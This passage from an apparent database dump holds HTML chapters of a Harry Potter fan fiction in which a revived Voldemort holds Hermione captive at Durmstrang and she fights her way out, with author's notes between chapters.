up a body cavity she was too polite\nto mention.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Well, I see we&#8217;ve\ncome in at the right time,&#8221; said Lingalim.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Get out!&#8221; hissed\nHermione.&nbsp; Her face was red with\nrage.&nbsp; The Neo Death Eaters\nlaughed.&nbsp; Hermione slowly raised her\nright hand to the back of her ear where her staff was hidden.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Temper, temper,\nyour majesty,&#8221; said Lingalim.&nbsp; &#8220;I\nwouldn&#8217;t dream of taking advantage of you in this situation though I cannot\nspeak for my colleagues.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;What do you\nwant?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;The master wishes\nto speak with you,&#8221; said Karkaroff.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;He&#8217;s here?&#8221; said\nHermione, a sudden chill going through her spine.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Karkaroff nodded\nmutely and stepped out of the way as a tall, armored man entered the room.&nbsp; Terrified and shocked, Hermione screamed out\nloud for there was no mistaking the emerald encrusted sword, the raven black\nhair, and most especially the gleaming red eyes.&nbsp;&nbsp; It was Voldemort!</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">A/N\nCliffhanger!&nbsp; MWA HA HA HA HA HA HA HA\nHA HA!!!!!!!!&nbsp; So R/R.&nbsp; I think I might have given the wrong\nimpression in the preview from last chapter.&nbsp;\nWhen I said &#8220;death&#8221; I was basically doing a Trelawney because, well she\ncomes out in this chapter.&nbsp; No one dies,\nwell at least not yet.&nbsp; Next: He&#8217;s\nback!&nbsp; But how?</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(123, 12, '\n\n\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Disclaimer: The <u>Harry\nPotter</u> series belongs to J.K. Rowling, Warner Bros. Inc., Scholastic,\nBloomsbury, Raincoast, and any other affiliated party.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^</p>\n\nChapter\n12: Return of the Dark Lord\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Hermione stared at\nthe Dark Lord in horror.&nbsp; &#8216;This isn&#8217;t\npossible!&#8217; she thought.&nbsp; &#8216;He&#8217;s\ndead!&nbsp; You saw him die with your very\nown eyes!&#8217;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Voldemort grinned\ndown at her.&nbsp; &#8220;I assume you&#8217;re wondering\nhow I am standing in front of you very much alive,&#8221; he said.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Y-you&#8217;re\nd-d-dead.&nbsp; I s-saw y-you c-c-crumble to\nd-dust with m-my own eyes!&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">The high-pitched\nlaughter of Voldemort rang through the bathroom.&nbsp; &#8220;And I would&#8217;ve been if that griffin patronus had hit me\nproperly,&#8221; he said.&nbsp; &#8220;But I was lucky.&nbsp; The basilisk of my killing curse had cut the\npower of your griffin patronus in half! While my body was destroyed, my spirit\nfled across the sea.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;That&#8217;s not\npossible!&#8221; yelled Hermione, sounding braver than she actually felt.&nbsp; &#8220;You can&#8217;t be alive!&nbsp; You just can&#8217;t.&nbsp; You can&#8217;t&#8230;&#8221; She started shaking her head as her mind tried to\nprocess the information that the Dark Lord whom she had believed to have been\ndead for the past two years was standing in front of her, alive.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;I admit it is\nrather shocking,&#8221; said Voldemort.&nbsp; He\ncrouched down and brought his face close to Hermione&#8217;s.&nbsp; Hermione recoiled in horror as Voldemort\nwhispered, &#8220;But you&#8217;re going to have to accept it.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;No.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Oh surely you\nmust realize mudblood that seeing is believing.&nbsp; You see, Hermione, I&#8217;ve just spent the last two years here in\nDurmstrang plotting ways of revenge toward you and your husband.&nbsp; Congratulations on your marriage by the way,\nand of the birth of your twins.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Hermione simply\nstared into Voldemort&#8217;s red eyes with disgust.&nbsp;\nVoldemort made his familiar malicious grin.&nbsp; &#8220;You see, Hermione,&#8221; he said.&nbsp;\n&#8220;I may have all of Durmstrang under control but my heart has always gone\nout to Magiterran.&#8221;&nbsp; Hermione\nsnorted.&nbsp; She couldn&#8217;t believe that\nVoldemort had any heart.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Voldemort glanced\nat the Ring of the Phoenix on Hermione&#8217;s finger.&nbsp; &#8220;I see that you still have that ring.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;And I can still\nuse it,&#8221; hissed Hermione.&nbsp; Voldemort\nlaughed.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Come now,\nHermione.&nbsp; You know full well that with\nthe two rings separated, they are nothing more than worthless pieces of junk.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Harry will come\nhere soon,&#8221; hissed Hermione.&nbsp; &#8220;He has\nthe other ring.&nbsp; You can&#8217;t win!&nbsp; The two of us will defeat you, just the way\nwe defeated you two years ago!&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Voldemort suddenly\nlooked infuriated.&nbsp; He grabbed\nHermione&#8217;s chin, stood up and raised her out of the bath.&nbsp; Hermione thanked God that he was glaring at\nher face rather than gazing at her body, though she wasn&#8217;t sure about the Neo\nDeath Eaters.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Don&#8217;t speak to me\nthat way, mudblood!&#8221; hissed Voldemort. &nbsp;Hermione winced as the Dark Lord had her chin in a death\ngrip.&nbsp; &#8220;You are lucky that I cannot kill\nyou right now for it would spoil our plans to lure Potter here!&#8221;&nbsp; He tossed Hermione back into the bath with a\nsplash.&nbsp; Hermione spluttered as some\nbubbles went into her mouth.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;You know, I know\nprecisely the way how Potter thinks,&#8221; said Voldemort with a nostalgic\nlook.&nbsp; &#8220;I was once a Mage Knight\nmyself.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Hermione looked up\nat the Dark Lord surprised.&nbsp; &#8220;What?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Sir Tom Marvolo\nRiddle of Slytherin.&nbsp; It seems like ages\nago.&nbsp; During those years I learned that\nthose who seek power are those that live and so I started my quest for\npower.&nbsp; And now look where it has led\nme: soon to be master of Magiterran.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Lingilam\nsnorted.&nbsp; &#8220;We all know whom you need to\nthank for that,&#8221; he said.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Voldemort whipped\naround to face Lingilam.&nbsp; &#8220;Why not\nremember your position Edward, or shall I say Gridelwald.&#8221;&nbsp; Hermione gasped at the revelation was the\ndark wizard Gridelwald, the predecessor of Voldemort.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Just what do you\nmean by that, Riddle?&#8221; hissed Lingilam.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;What I mean,\nGrindelwald is that you&#8217;re a has been, long defeated by Mage Knight Sir Albus\nDumbledore when I was but a squire at Hogwarts.&nbsp; You were a washed up nobody when I found you.&nbsp; So I appreciate more proper manners.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Grindelwald\nspluttered but was unable to make a come back.&nbsp;\nHe turned around and stormed out of the room, followed by the other Neo\nDeath Eaters.&nbsp; Voldemort turned to\nHermione.&nbsp; He said, &#8220;I will see you\nlater.&nbsp; Oh and if I were you, I&#8217;d get\nready to defend myself for what&#8217;s coming next.&#8221;&nbsp; With a laugh, he left the room.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">A few minutes\nlater, Hermione learnt what the Dark Lord had meant.&nbsp; Viktor Krum barged into the room looking and acting as if he had\ncompletely lost his mind!&nbsp; He ran over\nto Hermione, grabbed her wrist and proceeded to pull her out of the bath!&nbsp; Hermione screamed as she saw the glint of\nmad lust in Krum&#8217;s eyes.&nbsp; He dragged her\nto the wall, pinned her to it and tried to kiss her.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Hermione wasn&#8217;t\nabout to let herself be taken advantage of, however.&nbsp; She reached behind her ear, enlarged her staff to its normal\nlength and blasted Krum away!&nbsp; A second\nlater, Hermione was dried up and dressed in her familiar blue and white travel\nrobes, her golden brown hair falling to her shoulders.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Krum wasn&#8217;t out\nfor the count as he lunged at Hermione again, seeming to have lost all\nreason.&nbsp; Hermione shouted, <i>&#8220;Stupefy!&#8221;</i>\nand Krum fell unconscious.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Hermione examined\nthe form of the unconscious king.&nbsp;\nApparently, Voldemort had placed a spell on him that had forced him to\nrelease all of the pent up lust he had for her.&nbsp; She also saw that Voldemort had been controlling him with the\nImperius curse for the past two years.&nbsp;\nHermione shuddered at the thought of what he might have done if she\nhadn&#8217;t been able to defend herself.&nbsp; Her\nthoughts immediately drew to Harry.&nbsp; The\nRing of the Phoenix was telling her that Harry was now only miles away from\nwhere she was and was drawing closer.&nbsp;\n&#8216;Running right into a trap,&#8221; she remembered.&nbsp; That thought sealed her determination.&nbsp; She was going to escape from the palace right then and now.&nbsp; If she could only get out of the grounds,\nshe could meet with Harry outside in the wilderness and that way, Harry\nwouldn&#8217;t be led into the trap.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Moving as quietly\nas she could, Hermione crept out of the bathroom and made her way down the\nhall.&nbsp; During the days that she had been\nthere, Hermione had memorized every, path, nook, passage, and corridor in\nDurmstrang Palace, so she already had a good idea of where she was\nheading.&nbsp; Her plan was to head toward\nthe last place anybody expected an escape from, the main entrance.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Hermione made her\nway to the main courtyard that led to the main entrance.&nbsp; She saw two guards there standing\nwatch.&nbsp; &#8216;This is going to make things a\nlittle hard,&#8217; she thought.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">She darted between\nthe pillars that held the ceiling up slowly making her way to the guards.&nbsp; She edged closer and closer and closer and\ncloser&#8230;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Hermione suddenly\nleapt forward and said <i>&#8220;Stupefy!&#8221;</i> rendering one of the guards\nunconscious.&nbsp; Before the other one could\nraise the alarm, Hermione swung her staff into his face.&nbsp; She then swung her staff upward and hit the\nguard in that place where the sun don&#8217;t shine.&nbsp;\nThe guard keeled over, groaning in pain.&nbsp; Hermione said, <i>&#8220;Stupefy,&#8221;</i> once more to make sure he was\nout for the count.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Satisfied with her\nhandy work, Hermione brushed off her hands and slowly opened the door.&nbsp; She quickly made her way across the\ncourtyard and to the front entrance.&nbsp;\nShe was just making her way past the stables when a voice called from\nbehind her, &#8220;And just where do you think you&#8217;re going, mudblood?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Hermione whipped\naround to see Flame looking very menacing.&nbsp;\nYet she reminded Hermione of Icicle so much that Hermione couldn&#8217;t help\nbut snort with laughter.&nbsp; This made\nFlame angrier.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;What&#8217;s so funny,\nmudblood?&#8221; she hissed.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Hermione actually\ncouldn&#8217;t help grinning.&nbsp; &#8220;Oh nothing,\nits just that I bested your sister in a duel in case you didn&#8217;t know that.&nbsp; I guess I just supposed that I could beat\nyou as well.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Flame looked\nfurious. &#8220;I am nothing like Icicle!&nbsp; She\nwas nothing more than an incompetent fool whom was humiliated by a\nmudblood!&nbsp; I am nothing like her!&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Oh, want to bet?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;If it&#8217;s a duel\nyou&#8217;re challenging me at then it will be a duel you&#8217;ll get!&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Oh, well if\nthat&#8217;s what you think then I might as well oblige.&#8221;&nbsp; Hermione had no idea why she was making wisecracks at such a\ncrucial time but they made her feel braver.&nbsp;\nShe figured that was one of the reasons why Ron always made them.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;First we bow,&#8221;\nsaid Flame.&nbsp; She and Hermione merely\nlowered their heads never taking eyes off the other.&nbsp; &#8220;And now we duel!&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">A/N I considered\nupping the rating for this chapter but I decided to leave it as it is since\nnothing actually happens.&nbsp; Tell me what\nyou think.&nbsp; Also, I&#8217;m a little surprised\nthat no one figured out that &#8220;Edward Lingilam&#8221; is an anagram of &#8220;I am\nGrindelwald&#8221;.&nbsp; So R/R.&nbsp; Next: Hermione is going to go through a\nsudden transformation.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(123, 13, '\n\n\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Disclaimer: The <u>Harry\nPotter</u> series belongs to J.K. Rowling, Warner Bros. Inc., Scholastic,\nBloomsbury, Raincoast, and any other affiliated party.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^</p>\n\nChapter\n13: Sir Hermione Granger\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char"><i>&#8220;Crucio!&#8221;</i></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char"><i>&nbsp;</i></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char"><i>&#8220;Expelliarmus!&#8221;</i></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Hermione and Flame\neach dodged the curses they had just shot at each other.&nbsp; Hermione leapt forward and swung her staff\nat Flame who blocked her blow with her own staff.&nbsp; Hermione yelled <i>&#8220;Reducto!&#8221;</i> and blasted Flame away.&nbsp; Flame simply flipped in the air and landed\non her feet.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char"><i>&#8220;Expelliarmus!&#8221;</i> yelled Flame.&nbsp;\nHermione blocked the stunner with a shield charm.&nbsp; She yelled <i>&#8220;Impedimenta!&#8221;</i>&nbsp; Flame dodged the curse and closed in on\nHermione.&nbsp; She pinned Hermione down to\nthe ground with her staff.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;You will suffer,\nmudblood,&#8221; she hissed.&nbsp; Hermione glared\nat her and kicked Flame in the shins.&nbsp;\nFlame winced in pain and Hermione didn&#8217;t miss her chance to punch Flame\nin the cheek.&nbsp; Flame rolled off of\nHermione and Hermione scrambled to her feet.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char"><i>&#8220;Stupefy!&#8221;</i>&nbsp; Flame\nrolled out of the stunner&#8217;s way.&nbsp; She\nmanaged to regain her balance and yell, <i>&#8220;Avada Kedavra!&#8221;</i>&nbsp; Hermione dropped to the ground to avoid the\nkilling curse.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Both duelers\nyelled, <i>Expelliarmus!&#8221;</i> at the same time.&nbsp; Both staffs went flying out of their hands at the same time.&nbsp; That didn&#8217;t stop Hermione as she kneed Flame\nin the gut!&nbsp; She then laced the fingers\nof her two hands together and swung her double fist down to the back of Flame&#8217;s\nhead!&nbsp; Flame fell to the ground in pain\nas Hermione collected her staff.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char"><i>&#8220;Stupefy!</i>&#8221;&nbsp; Flame\nrolled out of the way of the stunner and grabbed her staff.&nbsp; She sprang up and yelled, <i>&#8220;Crucio!&#8221;</i>&nbsp; She managed to catch Hermione off guard!</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Hermione fell to\nthe ground screaming in agony as the Cruciatus Curse ripped through her\nbody.&nbsp; Strangely though, the curse\ndidn&#8217;t hurt as much as it usually did and Hermione willed herself to stop\nscreaming as she fought back tears.&nbsp; A\npart of her realized that Flame was weakening a little.&nbsp; Slowly, Hermione managed to stand up despite\nthe overwhelming pain.&nbsp; She tried to\nwill herself to stop the curse and started concentrating more and more of her\npower into her body.&nbsp; Suddenly, Hermione\nblasted the Cruciatus Curse away in a flash of white light!&nbsp; Flame recoiled, looking shocked and\nterrified.&nbsp; When the light had\ndisappeared, both duelers gasped.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Hermione was\nwearing familiar silver and red armor over her robes.&nbsp; The ring of the Phoenix was on the outside of her gauntlet 